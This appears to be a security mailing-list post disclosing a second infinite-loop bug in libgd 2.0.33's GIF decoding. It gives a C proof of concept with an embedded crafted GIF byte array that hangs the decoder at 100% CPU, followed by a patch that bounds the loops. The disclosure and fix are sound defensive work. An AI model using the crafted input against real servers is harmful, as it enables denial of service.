<<< Date Index >>>     <<< Thread Index >>>

Re: libgd 2.0.33 infinite loop in GIF decoding ?



rocheml@xxxxxxxxxxx wrote:
1. Bug
------
A bug seems to affect the current (2.0.33) GD library version, located
in the LZW decoding while loading GIF images. The problem is an infinite
loop while decoding specifically crafted images ; for example when
calling gdImageCreateFromGifPtr() with badly formed GIF data. The loop
is causing 100% CPU consumption, and can be a problem when involving
online server scripts.

A second bug exists in gd_gif_in.c:152, which can make corrupted (truncated) GIF files to generate an infinite loop in libgd.

2. Example #2
-------------

/* id: gdbad2.c, Xavier Roche, May. 2006 */
/* gcc gdbad2.c -o bad -lgd && ./bad */

#include <stdio.h>
#include <stdlib.h>
#include "gd.h"

static const unsigned char gifdata[157];
int main(void) {
  gdImagePtr im;
if ( ( im = gdImageCreateFromGifPtr(157, (char*) &gifdata[0]) ) != NULL) {
    fprintf(stderr, "success!\n");
    gdImageDestroy(im);
  } else {
    fprintf(stderr, "failed!\n");
  }
  return 0;
}

/* GIF data */
static const unsigned char gifdata[157] = {71,73,70,56,57,97,7,0,15,0,
227,0,0,221,221,221,205,205,205,188,188,188,171,171,171,155,155,155,138,
138,138,121,121,121,105,105,105,88,88,88,72,72,72,55,55,55,38,38,38,22,
22,22,5,5,5,0,0,0,255,255,255,33,254,21,67,114,101,97,116,101,100,32,
119,105,116,104,32,84,104,101,32,71,73,77,80,0,33,249,4,1,13,10,0,15,0,
44,0,0,0,0,7,0,15,0,0,4,48,16,128,71,105,184,161,138,189,233,248,224,67,
140,228,83,156,104,97,172,172,113,188,240,129,204,52,146,220,120,162,
236,252,179,252,192,7,99,56,164,52,142,141,138,195,81,161,68,0,0,59};


3. Quick fix #2
---------------

*** gd-2.0.33.orig/gd_gif_in.c  Mon Nov  1 19:28:56 2004
--- gd-2.0.33/gd_gif_in.c       Fri Jun  9 15:09:45 2006
***************
*** 99,104 ****
--- 99,105 ----

  BGD_DECLARE(gdImagePtr) gdImageCreateFromGifCtx(gdIOCtxPtr fd)
  {
+        int             maxcount = 1024;
         int BitPixel;
  #if 0
         int ColorResolution;
***************
*** 164,169 ****
--- 165,172 ----
                 }

                 if (c != ',') {         /* Not a valid start character */
+                        if (--maxcount < 0)
+                                goto terminated;  /* Looping */
                         continue;
                 }

***************
*** 241,246 ****
--- 244,250 ----
  static int
DoExtension(gdIOCtx *fd, int label, int *Transparent, int *ZeroDataBlockP)
  {
+        int                      maxcount = 1024;
         static unsigned char     buf[256];

         switch (label) {
***************
*** 254,266 ****
                 if ((buf[0] & 0x1) != 0)
                         *Transparent = buf[3];

! while (GetDataBlock(fd, (unsigned char*) buf, ZeroDataBlockP) != 0)
                         ;
                 return FALSE;
         default:
                 break;
         }
!        while (GetDataBlock(fd, (unsigned char*) buf, ZeroDataBlockP) != 0)
                 ;

         return FALSE;
--- 258,272 ----
                 if ((buf[0] & 0x1) != 0)
                         *Transparent = buf[3];

!                while (GetDataBlock(fd, (unsigned char*) buf,
! ZeroDataBlockP) != 0 && --maxcount >= 0)
                         ;
                 return FALSE;
         default:
                 break;
         }
!        while (GetDataBlock(fd, (unsigned char*) buf, ZeroDataBlockP) != 0
!               && --maxcount >= 0)
                 ;

         return FALSE;
***************
*** 417,432 ****
GetCode(fd, code_size, FALSE, ZeroDataBlockP);
                         return firstcode;
                 } else if (code == end_code) {
                         int             count;
                         unsigned char   buf[260];

                         if (*ZeroDataBlockP)
                                 return -2;

! while ((count = GetDataBlock(fd, buf, ZeroDataBlockP)) > 0)
                                 ;

!                        if (count != 0)
                         return -2;
                 }

--- 423,439 ----
GetCode(fd, code_size, FALSE, ZeroDataBlockP);
                         return firstcode;
                 } else if (code == end_code) {
+                        int             maxcount = 1024;
                         int             count;
                         unsigned char   buf[260];

                         if (*ZeroDataBlockP)
                                 return -2;

! while ((count = GetDataBlock(fd, buf, ZeroDataBlockP)) > 0 && --maxcount >= 0)
                                 ;

!                        if (count != 0 || maxcount < 0)
                         return -2;
                 }